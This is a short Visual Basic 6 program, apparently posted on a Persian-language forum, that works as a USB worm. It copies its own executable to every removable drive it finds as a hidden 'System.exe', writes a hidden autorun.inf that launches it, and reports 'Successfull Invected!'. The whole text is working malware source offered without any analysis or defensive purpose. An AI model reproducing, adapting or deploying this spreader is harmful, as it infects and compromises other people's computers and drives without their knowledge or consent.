کد:
Sub Main()
On Error Resume Next
'Object and Strings
Dim WMIService As Object, USBDrives As Object, USBFound As Object, USB As String, USBCount As String
'Objects
Set WMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") 'Open WMIService
Set USBDrives = WMIService.ExecQuery("Select * from Win32_LogicalDisk") 'Look For Computer Drives drives
For Each USBFound In USBDrives 'Look for all our drives
If USBFound.DriveType = 2 Then 'If drivetype is USB
USB = USBFound.Name 'Set USB as New USB-name
USBCount = USBCount & " - " & USBFound.Name 'Add USB name to USB-count
End If
If USB = "" Then GoTo volgende 'If its not an USB-Drive then goto Next
FileCopy App.Path & "\" & App.EXEName & ".exe", USB & "System.exe" 'Copy File to New USB Drive
Open USB & "autorun.inf" For Output As #1 'Create a Autorun file
Print #1, "[autorun]" 'Put Right Settings in it
Print #1, "open=System.exe" 'Put Our exe-name in It
Close #1 'Close the Autorun File
SetAttr USB & "System.exe", vbHidden ' vbHidden 'Hide our Exe File
SetAttr USB & "autorun.inf", vbHidden 'Hide the Autorun File
volgende: 'Next
Next 'Search for more USB drives
MsgBox "USB Drives: " & USB & vbNewLine & "Successfull Invected!", vbInformation, "USB Infect" 'Msg When Done
End
End Sub